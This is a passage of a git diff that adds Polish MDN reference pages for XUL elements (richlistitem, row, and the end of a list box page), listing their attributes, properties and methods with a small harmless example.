+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table> <dl><dt> <span id="m-clearSelection"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/clearSelection">clearSelection()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i> </dd><dd> Odznacza wszystkie pozycje.
+</dd></dl>
+<p><br>
+</p> <dl><dt> <span id="m-ensureElementIsVisible"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/ensureElementIsVisible">ensureElementIsVisible( element )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Jeśli określony element nie jest aktualnie widziany przez użytkownika, to wyświetlane pozycje są przewijane, do momentu, aż będzie on widoczny. Jeśli pozycja jest już widoczna, przewijanie nie będzie miało miejsca.
+</dd></dl>
+<p><br>
+</p> <dl><dt> <span id="m-ensureSelectedElementIsVisible"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/ensureSelectedElementIsVisible">ensureSelectedElementIsVisible()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Jeśli aktualnie zaznaczony element w pudełku listy jest aktualnie nie widoczny dla użytkownika, to widok pudełka jest przewijany, aż się on pojawi. Jeśli pozycja jest widoczna, to nie pojawią się paski przewijania. </dd></dl>
+<p><br>
+</p> <dl><dt> <span id="m-getItemAtIndex"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getItemAtIndex">getItemAtIndex( index )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Zwraca element, który jest o określonym indeksie.
+</dd></dl>
+<p><br>
+</p> <dl><dt> <span id="m-getRowCount"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getRowCount">getRowCount()</a></code></span>
+</dt><dd> Zwraca typ: <i>integer</i>
+</dd><dd> Zwraca ogólną liczbę wierszy w elemencie, nieważne ile wierszy jest wyświetlanych.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p> <dl>
+ <dt>
+ <span id="m-goDown"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goDown">goDown()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Przenosi zaznaczenie w dół o jedną pozycje.</dd>
+</dl> <dl>
+ <dt>
+ <span id="m-goUp"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goUp">goUp()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Przenosi zaznaczenie do góry o jedną pozycję.</dd>
+</dl><p></p>
+
+<h3 id="Podobne" name="Podobne">Podobne</h3>
+
+<dl>
+ <dt>Interfejsy</dt>
+ <dd><a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULSelectControlElement">nsIDOMXULSelectControlElement</a></dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/richlistitem/index.html b/files/pl/mozilla/tech/xul/richlistitem/index.html
new file mode 100644
index 0000000000..5bc9491c32
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/richlistitem/index.html
@@ -0,0 +1,181 @@
+---
+title: richlistitem
+slug: Mozilla/Tech/XUL/richlistitem
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/richlistitem
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Indywidualna pozycja <code><a href="/pl/docs/Mozilla/Tech/XUL/richlistbox" title="richlistbox">richlistbox</a></code>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-disabled">disabled</a>, <a href="#a-selected">selected</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-value">value</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-control">control</a>, <a href="#p-disabled">disabled</a>, <a href="#p-label">label</a>, <a href="#p-selected">selected</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-value">value</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-selected">
+
+<dl>
+ <dt>
+ <code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Sygnalizuje gdzie element jest zaznaczony lub nie. Ta wartość jest tylko do odczytu. Aby zmienić zaznaczenie, ustaw pozostałe własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code> lub <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedItem">selectedItem</a></span></code> stanowiące ten element.</dd>
+</dl>
+
+<p> </p>
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Atrybut łańcucha znaków pozwalający na współpracę wartości danych z elementem. Nie jest stosowany dla określenia jakiegoś konkretnego celu, lecz można go wykorzystać w skrypcie do własnego użytku.</dd>
+</dl>
+
+<p></p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-control">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/control">control</a></span></code>&lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dt>
+</dl>
+<p></p>
+<dl>
+ <dd>
+ Typ:
+ <i>
+ id elementu</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-control"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/control">control</a></code>.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-selected">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selected">selected</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code>.</dd>
+</dl></div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULSelectControlItemElement">nsIDOMXULSelectControlItemElement</a>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/row/index.html b/files/pl/mozilla/tech/xul/row/index.html
new file mode 100644
index 0000000000..1b05df1351
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/row/index.html
@@ -0,0 +1,96 @@
+---
+title: row
+slug: Mozilla/Tech/XUL/row
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/row
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Pojedynczy wiersz w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/rows" title="rows">rows</a></code>. Każdy potomek elementu <code>row</code> jest umieszczony w każdej kolejnej komórce siatki. Wiersz z większą ilością elementów potomnych decyduje o liczbie kolumn w każdym wierszu.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Siatki">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<p>Zobacz <code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code> dla przykładu.
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
